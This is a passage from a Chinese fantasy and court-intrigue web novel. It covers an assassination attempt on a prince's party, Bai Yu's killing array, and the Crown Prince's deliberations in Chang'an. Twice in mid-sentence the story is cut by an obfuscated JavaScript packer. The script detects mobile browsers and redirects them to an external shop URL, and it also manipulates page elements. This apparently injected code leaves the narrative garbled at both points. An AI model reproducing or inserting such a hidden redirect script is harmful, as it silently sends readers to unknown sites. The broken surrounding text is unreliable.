等餐食上桌,大家也都饿了,洗手后过来吃饭。驿丞讨好慕五,一样的四菜一汤,他们这桌的菜色明显更胜一筹,配今秋刚收上来的稻谷做的米饭,很可口。 慕五邀请白羽和牡丹过来同坐,贺六跟杂耍班众人在一起,他和贺老大一直在商量事情,慕五就没有再劝。 吃过饭,慕五说他要去睡个午觉,等他睡醒了再出发,其他人自然没有意见,白羽和牡丹在车里睡多了,这会也不困,于是坐下来喝茶消食。 白羽想起昨夜想问牡丹因她醉酒最终作罢的事,此时提起来正合适,她示意牡丹看贺六,还未来得及问出口,偏偏牡丹心直口快:“怎么,你相好的?” 白羽咬牙,“你再胡说我立马把你毒哑了。”牡丹见好就收,白羽才接着说:“我想问你认不认识他?” “昨天不是一起喝过酒吗?他还有其他身份不成?” “你应该知道我被罚入轮回历劫的原因,”白羽手握茶杯,低眉细细思索,然后诉说自己的困惑:“我遇到紫翎仙君的第一世,他叫叶启,我为他和他的妻子改命,阴差阳错动了他的命轨,于是被罚。可这一世我一见到贺六就觉得他就是叶启,或者说就是紫翎仙君,但是他没有记忆,我也无从确认,所以想让你帮我辨识一下他是不是紫翎仙君。” 牡丹一手托腮,撑在桌面上懒洋洋地向白羽解释:“按理来说,凡间历劫之人是谁的化身,身为仙者并非不能看破。但你恐怕不知,一来紫翎仙君自万年前仙魔大战成名后,亲自把他的命魂从天运册里撕了下来,所以无论法力多高,都看不透他的凡间化身;二来嘛,这位仙君万年前就闭关了,已经数千年没有在仙界走动了,我飞升也才短短三千年,根本没见过紫翎仙君,所以也无法辨认。” 天运册是天道诞生以来,记录所有神、仙、飞升修士、妖魔鬼怪命运走向、魂魄所系的命书,而凡人命数由司命主管,当年她师父芫回上神神魂强大时,天运册是在芫回手里掌握的,所以她明白紫翎仙君撕掉自己的命魂意味着什么。 白羽又抬眼看向贺六,须臾后收回眼神,她很困惑,固执的想要一个答案。 “我只是想知道叶启是不是紫翎仙君,贺六是不是叶启,是不是紫翎仙君,而我又怎么会在轮回里遇上他?” 白羽抿了一口茶水,继续道:“我与贺六相识也才一月左右,他人确实很好,很善良很真诚,也很照顾我,但前段时间他突然说他喜欢我想娶我,我非常吃惊,这么短的时间他根本不了解我,怎么就喜欢我了,所以我拒绝了。” 牡丹总算明白了症结所在,她因紫翎仙君获罪,却在凡世一而再再而三地遇上,因他的身份扑朔迷离,所以搞清楚他是谁很重要,喜欢反而在其次了。 牡丹凑近了,手掌抚上她的肩膀,开导她:“小鹤,做人嘛,不要想那么多。就算按你们种族来说,一万岁都尚未成年,你如今还小,前半生因为有你师父,几乎没受过什么磨难,如今乍然受挫是会有钻牛角尖的时候,但‘既来之则安之’,不就是轮回么,一世一世过就是了,你好好感悟,说不定对你以后的修行和心境都有好处。” 牡丹又笑,恢复不正经的样子调侃她:“况你如此人才,品貌才学皆不输,贺六这样的,喜欢你不是很正常的事吗?为什么怀疑自己?” 白羽情绪波动,正要眨一下有些酸涩的眼睛,闻言立马瞪着牡丹。 “不是因为这个……”白羽反驳。 “我遇见叶启的第一世,他和他妻子埋名隐居,我因为知道他们的结局不好,所以动了改命的心思,但这一世我遇见贺六,却没看见他妻子宣兰,所以我想如果贺六是叶启,叶启是紫翎仙君的话,那这一世他的妻子宣兰去哪里了?” “等会等会,你说谁……宣兰?”牡丹打断她的陈词。 白羽不明所以,“是宣兰,叶启的妻子,怎么了吗?” “我们先来分析一下,”牡丹推开桌面茶盏,指尖蘸取茶水在桌上写写画画,嘴上说:“现已知你为叶启和宣兰改命,动了紫翎仙君命轨,所以被罚历劫,由此得知叶启就是紫翎仙君无疑,如果叶启就是紫翎仙君,那么他的妻子叫宣兰,那就不是巧合,此宣兰就是彼宣兰。” 牡丹一通激情分析,得出的结论给她自己说激动了,抬头一看白羽揣着一双圆溜溜的大眼睛,眼里的迷茫不解,如同听天书一样的神情简直要溢出来。 牡丹气笑了,“我知道你不学无术,但没想到你连宣兰都不认识,仙族历史你是一点不看?” 白羽:这…… 牡丹无奈,只能给她解释:“宣兰上仙是仙族万年前在仙魔大战中陨落的战神,因为有她的牺牲,如今才没有妖魔祸世,也是因为她的牺牲,紫翎仙君才能横空出世,据说他们是一对道侣,不过年代久远,无从证实,没人知道是真是假。” 身份证实了,白羽的脑子就开始转起来了,“你是说紫翎仙君自仙魔大战后就开始闭关不出,是因为宣兰上仙死在了那场大战中,而叶启身边出现的宣兰就是大战中陨落的战神——宣兰上仙,紫翎仙君之所以这么多年都不出现,是因为他在寻找复活宣兰上仙的办法?” “聪明!”牡丹给了她一个“孺子可教”的眼神。 对,这样就说得通了。 白羽心想,紫翎仙君闭关中不会无缘无故出现在凡间,那么他出现就是为了复活宣兰上仙,而宣兰上仙这一世不出现或者尚未出现是否是受了她改命的影响? 白羽把她的疑惑问出口。 牡丹皱眉思索半天,最终只能回答:“这个我就不知道了。” 白羽没再问,不过她已经确定了自己今后的目标,为紫翎仙君寻找到宣兰上仙,帮助他复活宣兰上仙,以弥补自己的过失。 ………… 时至未时末,慕五终于休息够了,神采飞扬、精神奕奕地摇着扇子出现在众人面前,钱方随即宣布接下来的行程。 他们从菩提驿出发,前往古渡口坐船走水路,一路南下至巫山,然后转陆路北上回京城长安。 这一来走水路就得十来天,走陆路又不知道得多久,等到达长安恐怕就入冬了。 慕五出发前,赵驿丞特意前来热情相送,他们都走出很远了,白羽回头还能看见他站在原地恭敬目送,连脸上的表情都不带变化的。 白羽放下窗帘,眉眼间疑云重重。 她感觉这个驿丞很奇怪,太奇怪了。 十月初的天气已经很凉爽了,申时出发,马匹和车辆行走时带出的风吹得人心情舒畅,即使坐在车里也不闷热。 古渡口设在长江沿岸,距此有百十里路,看样子他们能在天黑之前赶到,然后坐船离开。 约摸走了半个时辰,马车里白羽在看书,牡丹闭眼小憩,惊变就在突然之间,牡丹握住白羽手臂一把把她拉出车外,只见一根箭雨带着破空之声横穿她们所乘坐的马车,若不是牡丹反应及时,白羽的脑袋就会被钉在车壁上。 白羽心有余悸地摸了摸自己的头,队伍中顿时响起“保护殿下”的喊声,那是慕五的随从发出的声音。 几束破空之声后,一群黑衣蒙面,手持长剑大刀的杀手从路旁灌木丛里冲出来,向他们包抄而来。 竟有数十之多。 顷刻间,钱方和慕五的随从就和这群人战在了一起,包围着慕五所乘的马车,刀剑相撞之声,迅疾而猛烈,另有一批人冲着白羽而来,每一个招式都是想取她性命。 牡丹空手接白刃,护着白羽在杀招之下接连躲避,她虽有法力却不能施展,一时间左支右绌,狼狈不堪,眼看一柄大刀就要向着白羽的脑袋劈砍下来,牡丹忙用自己的手臂去挡,已经做好了断臂的心理准备。 下一刻,持刀的黑衣人飞出了一丈远,想象中的疼痛没有落下,白羽和牡丹回头就看到了贺六飞踢黑衣人的身影。 “多谢了,来得正好!”牡丹捡起地上的一把长剑,再次把白羽护在她身后,对贺六说:“咱们一起把这群小蟊贼杀得片甲不留。” 有人助力就是好事,白羽躲在牡丹身后,随时给她提醒侧后方来的偷袭,牡丹指哪打哪,一时间也没几个黑衣人能近她们的身。 但这样下去并非长久之计,且不说他们人多,只说在这方世界牡丹的能力被压制了很多,打不了多久她就会力竭,到那时她们就会成为这些人的刀下亡魂。 白羽还在想办法,但她突感压力倍增,牡丹挥剑的频率都加快不少,她抽空往包围圈外看,只见原本都围在慕五马车附近的黑衣人,如今大部分都汇聚到了她们这里,只留一小部分人还在那边鏖战。 白羽:什么情况? 脚下已经躺了一圈黑衣尸体,身后的贺六还能再杀,牡丹挥剑时眉头已经皱紧了,而杂耍班那边也有人围攻,现下没人能抽空来营救她们。 不管了,白羽心想,她知道一个大杀招阵法,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780770|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生者血为祭,以死者尸为媒,能将阵法之外的人顷刻之间一击即杀,不过阵法外的人不分敌我,都会死,从刚才开始她就有规律地踢开那些倒下的尸体,脚尖蘸取地面的鲜血在地上涂画,因为担心会误伤己方队友,她迟迟没有开阵。 但现在管不了那么多了,围上来的黑衣人越来越多,在包围圈中的他们三人更加危险,大不了她等会想办法控制一下阵法击杀范围就行。 白羽脚下画完最后一笔,在心里默念术语,然后轻声开口:“阵——开!” 刚才还围在他们四周的黑衣杀手,瞬间全都悄无声息地躺下了,足足铺开了两三圈,那场面着实壮观。 贺六提着满手血的剑,还在状况外。 牡丹就已经猜到了,低声回问身后的人:“你干的。” 没等白羽确认,就立马给她掩护,把剑圈挥至圆满,大喝一声,做了一个收势的动作,得意地笑道:“说了杀你们个片甲不留就一个也别想逃!” 听到声音,贺六才回神看向她们两个,他看着低头装鹌鹑的白羽,又看了看威风凛凛的牡丹,迟疑问道:“你做的?” “那当然了,不是我还能是谁。”牡丹回道。 “好厉害的招式!”贺六真心赞扬。 白羽抹掉溅至手背上的血,对他们两人的话充耳不闻。 消灭掉这批人后,剩下的几尾零星小鱼就不是什么难缠的角色,白羽站至安全地带,看着牡丹和贺六走入战局,帮助杂耍班和钱方干掉另外两波杀手,最后果真一个活口都没留。 战后清点,杂耍班几个年轻人为护着队伍里的年幼者和女子受了点轻伤,不过不要紧,潘大夫很快为他们包扎了,钱方也受了伤,用药处理了不是什么致命伤,无大碍。 只有慕五的一个随从比较靠近她这边战局,被波及后身亡。 白羽真情实感地为他哀悼,但却没有后悔,倘若没有这个阵法,死得可不止这一个随侍,她已经尽力缩小阵法范围,还能被波及到也只能说声倒霉。 慕五怒气冲冲地从车里下来,看着这满地黑衣尸体,脸上的表情一点也不轻松。 刚才战况焦灼,大管家硬是护着拦着不让他下车,这会看到这样的景象,又是气愤又是后怕。 作死的,皇子也敢杀,幸好五皇子没事,不然出来一趟五皇子没了,他这条老命都不够赔的。 慕五怒喝:“查!给我查!我看是谁吃了熊心豹子胆了,竟然敢出动这么多人来截杀,九族都不想要了吗?” “息怒,您息怒,”老管家安抚慕五,“老奴立马发信回京,命人督察此案。” 慕五气呼呼地去看钱方强势,又让老管家带人去安葬死去的那名随从。 就在他们安顿好准备继续上路时,一阵兵甲马蹄声由远及近,众人手握武器严阵以待,及至附近,一个身穿甲胄,头戴红缨铁盔的将领下马就拜。 “臣青州守备柳岩松救驾来迟,望五皇子殿下恕罪。” 青州守备? 慕五看向钱方,钱方摇摇头,示意这不是他们的人。 慕五顿时笑了一下,拿出折扇扇了扇风,皮笑肉不笑地说:“柳将军哪里的话,你这不来得挺早的嘛,你要是真来迟了,就能吃我的丧宴了。” 这话柳岩松不敢接,他只是收到了五皇子要途径菩提驿,路过青州守备军的消息,本来想着没他什么事,结果刚刚就收到了五皇子一行人被人截杀的密报。 事发在青州守备军地界上,他不能不管,紧赶慢赶带兵前来,还是晚了一步,他看着满地黑衣尸首,就知道刚才的战斗有多激烈,稍有不慎,五皇子非死即伤。 到时候朝廷问罪,他免不了落一个失察之罪。 他什么也不能说,只能跪地请罪。 慕五也不回应他的请罪,只说让人把这些尸体抬回去保存好,过几天朝廷会派钦差来督办此案,让他好好配合,然后让他派兵护送他们去古渡口乘船,其他就什么都没说了。 柳岩松心中忐忑,还是邀请道:“殿下受惊,还请移步至守备军内稍作休息再行出发吧?” “你青州守备松懈至此,既然能放任这数十杀手出入而丝毫不闻不知,你觉得我还敢再留吗?”慕五面色平静地质问他。 柳岩松再不敢多话,指派人手把这些尸体都抬回营内,他亲自率兵护送慕五前往古渡口。 马车上,白羽用茶水打湿布巾在给牡丹擦脸上和手上的血渍,她问牡丹:“你有没有发现刚才近乎有六七成黑衣人都在围着我们三人攻击?” 牡丹昂起脖子,让白羽扶着她的下颌擦拭衣襟里蹭到的血,闻言点头,“发现了,而且不是攻击我们三人,是主攻你一个。” 牡丹疑惑,她看着白羽来回打量,“你有什么秘密让他们恨成这样,恨不得除之而后快,全都是杀招,招招毙命。” “我也想知道,我们这群人中,按照身份重要程度,最该死的也不应是我吧。”白羽看向前面的马车,慕五还是皇子呢。 也不是说盼着慕五死,就是觉得不应该,后期那些黑衣人还从围攻慕五中分出来一大半来杀她了,实在令人费解。 不说这个了,牡丹笑吟吟地看向白羽,“方才那招很厉害嘛,我原来是说错了,你不是不学无术,你是个奇才啊。” 可能是,东边不亮西边亮吧。 白羽给牡丹擦完,谦虚地笑了笑没说话。 对于刚才启阵后牡丹的反应,两人都心照不宣,有些事情不能放在明面上讲,牡丹揽在她身上无形中为白羽省去很多麻烦。 19. 太子 深夜的江面静谧无声,清寒的月辉洒下来,如同在江面铺了一层银色的雪,两岸之间山体倒映在水中使得江水的边际被无限拓宽。 他们是昨日戌时上的船,青州守备的柳岩松将他们送至古渡口后,慕五就让他回去了,只交代了保管好那些杀手的尸体,对他再次请罪的话置之不理。 他只能悻悻而归。 白羽坐在舱房窗前,船体划过时带出江面的水汽,在夜晚的凉风吹拂下,冰冰凉凉十分舒服。 她夜间睡了一觉,补足了白日用阵所消耗的精神,此时却怎么也睡不着,她在想那些人为什么非要置她于死地,她究竟得罪了谁? 不是没想过是娄家派出的人,但她又否认了,娄知县没那么大本事。他是靠着宫里的娄昭仪在永州一带作威作福惯了,但也就止于此了,豢养死士、买凶杀人,他还做不到。 那究竟是谁呢? 她又想到了在菩提驿觉得奇怪的那个驿丞赵观火,他和这次刺杀事件有关联吗? 这些杀手肯定很早就埋伏在此了,是必定知道他们会路过这里,而这一带有菩提驿,有青州守备军,如果这两方联合把消息封锁了,确实会给这些杀手行很多方便。 她后来又仔细回想过当时激战的场景,那些杀手放完冷箭突然冲出来,目的一开始是慕五,攻势很激烈,后来看得不了手才转而来杀她。这说明背后之人打的就是“一箭双雕”的目的,他们两人无论死了哪个,背后之人都不亏。 思及此,白羽起身放下支撑窗牖的木杆,觉得有必要把这些消息告诉慕五和钱方,说不定会对破案起点作用。 月色渐渐明亮,却逐渐西移,已经很晚了,船上众人都已经睡了,白羽打算明早再去说,她取下肩上披着的外衣,回到牡丹身边躺下。 第二日一早,白羽三人在客舱里用早饭,慕五和钱方困倦地走来坐下,贺六给他们一人盛了一碗白米粥,白羽顺手把几道开胃小菜往他们面前挪了挪,牡丹问:“你们昨晚没睡好吗?” 慕五恨恨咬了一口油果子,指控钱方:“你问他!上个书说明情况而已,有必要拉我参详大半夜吗?” “二公子,这话厚道吗!?”钱方右臂受伤,他用左手舀粥喝了一口,扬起绑着绷带的右臂,示威一般地说:“说的不是你自己的情况?还有我这胳膊为谁伤的,我能提笔写字吗?” “你……” 慕五偃旗息鼓,把难听话咽了下去,想着人得知恩图报。 牡丹闻言笑笑,没说话。 白羽来得早,她吃完了说:“说起上书,我这里有一个发现要跟你们说一下。” 慕五打起精神洗耳恭听,白羽正准备开口,钱方打量四周一圈,拦住了他们:“等会回房再说吧,人多眼杂。” 几人眼神偏向周围,他们此刻所在的是船上的膳堂,这艘船上几乎所有客人都会来这里用餐食,虽然旁边没坐什么人,但还是谨慎为上。 白羽点点头,等着他们吃完一起去了慕五的房间。坐定后,她先问:“你们在菩提驿有没有发现什么异常?” 慕五最积极,乖乖回想起来,然后说:“没有啊。”然后问钱方:“你发现了吗?” “我也没有啊,什么异常?”钱方茫然。 白羽又看向牡丹,牡丹也摇头。 她看向贺六。 贺六注视白羽,谨慎道:“那驿丞的态度有问题。” 白羽说:“没错。” 慕五不解,“有什么问题,他恭敬有余,又热情招待,走的时候特意相送,很正常吧?” 贺六挠挠头,他看了看慕五和钱方,然后尽力解释:“一种感觉吧,他有点刻意表现热情和善、一视同仁了,可能慕五公子和钱兄出门在外因身份所持,旁人不敢生出不敬不恭,所以觉得他的表现没有问题。可是我们这样的人在外面也不是人人都喜欢的,但这个赵驿丞连对杂耍班里的所有人都客气礼待,这便很不正常了。” 他说的隐晦,但几人都听懂了,所谓有些权利有点“上进心”的人,“媚上欺下”已经成了本能,杂耍班这样的,一般人就算不欺负,也会被轻视、薄待,可是赵驿丞非但没有轻视他们,还把他们当成五皇子的座上宾对待,总是让人觉得特别。 慕五还是不理解,“但是你们是跟着我们一起进去的啊,看在我的面子上善待不是挺正常的吗?” 牡丹用肘弯戳戳白羽,对她眨巴几下眼睛,白羽明白她的意思,她想说:完了,跟你们这些特权阶级解释不清楚。 不怪慕五不懂,他出身尊贵,从小就没有被人轻视的经历。皇后之子、太子同胞亲弟,皇帝也疼爱他,性子讨喜,能说会道,太后更是视如珠宝,从小到大顺风顺水,能养成这样一副至真至纯的心性,可见一斑。 在座几人谁也没有他的人生如意,牡丹生出灵智前数千年苦修,直至被百花仙子点化飞升,仍需要应付仙门各处;白羽虽然拜在芫回门下,但幼年修炼不精,芫回上神殒身后她也饱经人情冷暖;贺六更是自幼失去父母,奔波各地讨生活,遇上贺老大才是他的幸运。 钱方也不必说,出身世家名门,父亲、祖父、外祖父皆在朝为官,本人又聪慧端方,自幼为太子伴读,东宫臣属,日后太子登基必为股肱之臣。 他们两不理解,可以理解。 白羽另起话题,“我们出发时,他遥遥相送,即使队伍已经走得快没影了,他仍然维持着目送姿态,给我一种他好像知道些什么的感觉。” 一个人这么说不奇怪,要是都这么说,慕五也不得不重视起来,他打开折扇,缓扇小风,思索后问钱方:“这赵观火是谁的人?” 钱方失笑,“那就真不清楚了,一介驿丞而已,放在西南官场,放在两方势力中,怎么算都是个小人物,还真不会有谁费劲去拉拢他。” “赵观火?这名字有意思啊。”牡丹念叨出声,“赵观火——隔岸观火,坐山观虎斗。有时候也别太轻视小人物,说不定战局成败就是掌握在他们手里呢。” 牡丹一番话,让大家都陷入自己的思维当中。 慕五一拍板,当即道:“既然赵观火有问题,那那个柳岩松也不清白,我这就写书信回去,让我兄长彻查就是了!” 事情有了具体走向,几人也都放下心来,船上时间漫长,行到巫山还有十天左右的路程,谈过事后,便散去各做各的事。 ………… 十日时间一晃而过,船只在巫山渡口停泊,白羽踏着深秋湿冷的空气落在码头上,还没等她感受秋风萧瑟,就看见渡口不远处停驻着一队骑兵。 领头的将军一看到慕五神色惊喜,抬手示意身后人止步,他连忙前来拜见。 慕五扶起他,更是惊讶,“勇毅将军,你怎么来了?” 被称勇毅将军的青年男子拱手答,“殿下本就担心公子远行日久,特意派了钱大人去寻您,终于得到您要启程回京的消息,正是高兴着,却又突然收到您被刺杀的噩耗,急得跟什么似的,便立马派臣护送您回京。” “让兄长担忧操劳,是我的不是。”慕五真情实感地愧疚。 “您平安抵京比什么都让殿下安心。”勇毅将军加了一句,又转身对钱方拱手见礼,笑着道:“钱大人此行辛苦,殿下也盼着你回来呢。” 钱方回礼,口中忙道:“不敢不敢,接下来一路多劳将军费神了。” 他们见面寒暄完,慕五给两边互相介绍认识,“这是我在播州和渝州结识的好友,阿习姑娘、牡丹姑娘还有贺六兄和他所在的杂耍班子。这位是我兄长最信任的侍卫统领,勇毅将军。” 两方都行礼问好后,白羽坐进前来接应的人安排好的马车中,队伍继续上路,不过这次安全就有保障得多了。 剩下一路也无甚大事,只慕五一路都在催“刺杀案”的进程,就这样等他们十一月上旬抵达长安时,仍是毫无进展。 冬月初七,白羽一行踏足久负盛名的京城长安,这几日天色阴沉,早有了下雪的兆头,他们前脚踏进长安城,后脚漫天雪花就跟了上来,朴簌簌地遮盖房檐、地面、发顶…… 白羽伸手接住一粒雪回头对牡丹说:“下雪了,牡丹姐姐不来看看吗?” 牡丹摇摇头,裹着厚重的裘皮大衣满脸拒绝之意,“冷死了,我最讨厌冬天下雪了!” 她原身是一株牡丹花,喜温厌寒,花之常情,白羽便不再强迫,退回燃了火炉的车内。 最终马车在皇城南门外停下,过了一会儿,慕五和钱方来到她们车外。白羽打开帘子看到两人身着云锦轻裘,慕五依然固执地把持着他的折扇不放,寒风天气里,他倒是不扇风了,只是手持全当造型。 慕五眉眼染上疲惫之色,不过精神仍是喜悦地说:“阿习姑娘,牡丹姑娘,车就行到这里了,我需先回宫向家里长辈报平安。稍后会有人带你们去客栈休息,待明日我来了咱们一起研究怎么告娄家,千万等我来了啊。” “那是自然,慕五公子走好,明日见。”白羽回。 钱方也拱手告辞,他也需要去东宫汇报,然后再回家看他老爹。 慕五喜气洋洋地和钱方去了后面贺六和杂耍班的车马,同样告别后,两方人分头行事。马车又走了起来,没过多久,他们停在了一座装潢堪称豪华的客栈,进进出出的人衣着富贵,皆有随从服侍。 慕五还活着的那个随从恭敬开口:“两位姑娘,这是我家公子为诸位安排好的住处,诸位住进去若有什么不适,皆可找客栈掌柜反映,诸位请。” 客栈坐落皇城附近,且装潢豪华,接待人员富贵,住一晚应所费不赀,他们也都不是什么富裕人,住这里不合适。 白羽和牡丹,还有跟上来的贺六对上眼神,推拒道:“多谢你们公子费心,不过我们还是另找个客栈居住吧,这里花费必然不小,我们都不是很宽裕。” 白羽话中有未尽之言,好在这人听懂了,连忙解释:“姑娘过虑,这所酒楼是我家公子的私产,所以诸位放心住着就是。” 这……怎么还说不清楚了,白羽无奈,她们不是嫌花钱多,也不是嫌花的是自己的钱,更不想占人便宜,只是明明可以住一个价格合理的普通客栈的,不必搞得这么兴师动众。 随从看白羽半天不回话,提醒道:“姑娘?” 牡丹一把揽住白羽肩膀,招呼众人往里面走,口中还抱怨她:“有好地方住你还不愿意,瞎矫情。”一边回头对随从说:“回去帮我多谢你们公子。”一边悄声跟白羽耳语:“有什么话你不会跟慕五直接说吗,他就是个办事的,又做不了主。再说了,慕五这种身份根本不在乎这点利润,安心住你的吧。” 白羽叹了口气,只能随着牡丹的劲道走入酒楼。 他们在这边安顿好,慕五回到皇宫才是撒了欢,衣服都没换先去他母亲宫中,刚好他的太子兄长也在,慕五先紧着礼数拜见皇后和太子,礼数过后就是家人叙旧。 皇后把他拉住看了好几圈,确认人完好无损,提着的心才算放下来,太子在旁边帮腔:“小五这次出去可真是劳师动众的,孤还派了最得力的下手去找你,若不是钱卿文武双全,这次刺杀你难逃一死。” 慕五岔开话题,“兄长你怎还不回去,钱方跟我同时进宫的,他去找你了,说有要事汇报呢。” 太子无奈起身,在他脑袋上狠狠弹了一下,希望他长点记性,随后向皇后拜别:“母亲和五弟叙话,记得等会让五弟去陛下和太后那里请安,儿子先回去了。” 皇后说:“去吧。” 她也在心里想小五这次出去实在是太惊险了,去的还是西南那边,如今时局乱象频现,以后可不能再放他出去了。 太子走时,毫无察觉的慕五对他的背影喊道:“兄长晚间不要早睡,我去找你有话跟你说!” 太子摆摆手,没回头,没答应也没拒绝。 慕五知道,他会等他。 他去太后宫里请安。 慕五转道来太后宫里时,皇帝正好也在,他惊讶了一下,随即高兴地请安问好,然后跑到太后膝下坐下,听太后问他一些零碎小事,又关心有没有受伤,催问皇帝“刺杀案”进度,然后慈爱地抚摸着慕五的发顶说。 “你前段时间派人快马送回来的茉莉花糕,奶奶吃着很好,难为你有孝心,还记得我这点小爱好。” 慕五嘻嘻笑,“出门在外惦记皇祖母不是应该的嘛,您吃着好,我下次出门再给您带就是了。” 太后没接话,她觉得没有下次了。 正好是午膳时候,皇帝也没走,太后就叫人摆了一桌,祖孙三人吃了一顿团圆饭。 另一边,太子回到东宫,听闻钱方已经在书房等候了,侍女伺候他更衣后进入燃了地龙的书房,暖气扑面而来,他与钱方是自幼的交情,此刻就看这人一点也不寒暄。 见他回来,抬了抬胳膊,无赖道:“臣英勇救主,手臂受了刀伤,实在抬不起来,请恕臣不能起身给殿下请安了。” 太子瞥他一眼,去书桌后坐下看文书,嗓音清淡点他:“说吧,详细交代。” 闻言钱方立马去了不正经之态,坐起来回话,他把出门后四方查找,再到从白羽口中得知慕五下落,到渝州终于会面,然后是菩提驿休整,再到前往古渡口路上遭遇刺杀,青州守备柳岩松赶来善后,之后水路行至巫山,再然后就是勇毅将军接应,后面发生了什么就全在太子眼皮子底下了。 他全说了一遍,太子低眉沉思,心中也算是有了底,然后他问:“那个白羽是什么来头?小五对她有心思?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780771|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱方觑他神色,洒脱一笑,道:“也不见得,五殿下年纪尚幼,还没到这方面,他估计是看人家姑娘长得漂亮,想交好在一处玩耍罢了。我派人查过了,她说的倒是不假,确实是被娄昭仪那个在永州做知县的堂弟逼嫁,她方才逃婚。不过,我还了解到一点,有传闻说这娄知县和娄大公子爱好……特殊,也幸亏她逃了,否则真嫁过去就是父子同妻。” 听到这里,太子神色终于有变,他皱起眉头难掩厌恶之色,“还有这种事?” 不过想想也正常,毕竟娄昭仪也不是什么端庄之人,不知道陛下怎么就宠上她了? “子不言父之过。”太子心中默念。 除去娄家之事在心底盘旋的肮脏之气,也对晚间小五要来找他说的事有了对应之法。 时候不早了,太子留了钱方午膳,许他用完再回去见家人。 客栈里,白羽吃过午饭前来找贺六商量,住在这里终究不是长久之计。如果后面娄家之案牵涉时间过长,那势必要在京城久居,她打算赁一间院子长住,便来问杂耍班有没有在京城久留的意思。 直接问贺老大不方便,她先来找贺六探探口风。 白羽站在贺六房间门口敲门,里面传来一声疑问:“谁呀?” “是我。”白羽说。 轻快的脚步声后是拉开的门扉,门后出现一张带着笑意的俊脸:“阿习姑娘,快请进。” 桌面上是摊开的账本和杂耍班的一些印信,白羽在榻边坐下,接过贺六递给她的茶水,顺口问道:“你在忙什么?” “噢,你说那些,”贺六指着桌上的东西说:“我们这一路来虽然没花多少钱,但是总不好坐吃山空,贺老大说从明天开始开张揽客。潘大夫缺几味药,他陪着去药铺买,让我把账理一理,再看看缺什么提前准备一下。” 白羽点头,贺六本来就是贺老大定的接班人,这些事情他经手处理就是提前培养的意思,白羽就没多问,说起了她的来意。 “我来就是想问问你们有没有在京久居的想法,我和牡丹打算在京中赁一处院子长住,毕竟总住客栈也不方便,你们若是有意,那正好住在一起也有个照应。” 贺六仔细思量后,对白羽说:“这倒是个好主意,不过我一个人说了不算,等贺老大回来我跟他讲了,再问问其他人的意见,有消息我告诉你。” “好,那你先忙,我走了。” 白羽本来也没准备问一下就能有结果,杂耍班人多,不像她和牡丹自己就能做决定,她说了之后就离开了。 夜晚,冬雪一直未停,房檐下积起一层厚厚的雪被,经由烛光照耀反射在窗户上,映得屋内亮堂堂的。 太子坐在窗前下棋,棋盘中黑白两子已杀到官子时分,可他等的人还没来。 “有约不来过夜半,闲敲棋子落灯花。” 一胜一负,太子把手中棋子投进棋盒,摇头笑了笑,小五小孩儿心性,随口一说也不一定会来,他还真等了大半夜。 刚想起身叫内侍伺候洗漱,就听到院中一连串的脚步声,还有慕五急匆匆的呼唤声:“兄长!兄长!我来啦!你睡了吗?” 太子在窗前看到他跑进来,连忙叮嘱:“慢点慢点,小心摔了。” 慕五窜进房门,廊檐下侍立的内监给他清扫身上的落雪,打起厚帘子进入内室,他看到棋盘就知道太子等了他很久,解释道:“还不是皇祖母非要拉着我说话,耽误了这么长时间,让兄长久等了。” “无妨,太后也是爱护你。来,坐。”太子引着慕五落座,给他倒了一杯姜茶,询问道:“说吧,有什么事求我。” 姜茶辛辣,滋味在舌尖滚过一圈后,慕五对太子讨好地笑,“具体的事情钱方那个讨厌鬼肯定也跟兄长说了,但我真的很想帮她,而且这也是对娄氏势力的一个打击,一箭双雕、两全其美之事,何乐不为呢?兄长。” “你说得确实有道理,白羽被逼嫁一事如果告发,的确会对娄氏造成打击,然后呢?能让娄氏伤筋动骨吗?能娄昭仪不再耀武扬威吗?能让吴王不再有朝臣拥戴吗?” 太子一连三问把慕五问住了,他思忖过后却发现太子说得对。 白羽被娄知县逼嫁一事东窗事发,不会让娄昭仪和吴王有半点损伤,他们只需要让娄知县辞官就是,事情结束,他们仍然是可以和皇后太子分庭抗礼的有力人选。 除非将整个西南官场连根拔起,否则不会损他们一丝一毫。 慕五眨着湿漉漉的眼睛,低落道:“那阿习姑娘的事我们不管了吗?” “管啊,当然得管。”太子看着慕五愣愣的表情,似是觉得逗他很有趣,笑着说:“难得我们小五有正义之心,又想要‘英雄救美’,做哥哥的怎么能不成全他呢?” “兄长你就耍我罢!”慕五重重放下茶杯,“我回去了!” “这么晚了,夜深路滑,就歇在东宫吧,明天一早我让人送你回去。” 最后慕五还是睡在了东宫。 第二天一早,慕五来到白羽他们下榻的酒楼,跟她商议了状告永州娄知县逼娶民女、千里追杀一案该怎么告。 先往大理寺递交诉状,因为有五皇子背书,案件很容易就受理了。又因为此案件涉及娄昭仪娘家堂弟,大理寺卿不敢擅专,忙递交刑部,午后皇帝知道了这件事,直接下令由太子主审此案件。 同时将月前五皇子渝州遇刺一案一并移交太子主审。 早朝时,工部尚书钱大人提议给渝州建一座跨江大桥,方便两岸民生之事,皇帝只说再议。午后,随着太子主审两案的旨意一并发布的,还有派三皇子吴王携工部一众人手同去渝州勘测建桥一事,命即刻出发,不得有误。 这两道圣旨一出,引得各方势力蠢蠢欲动。 太子听命来到大理寺主审案件。 吴王聚齐工部能工巧匠,踏着大雪赶路出京。 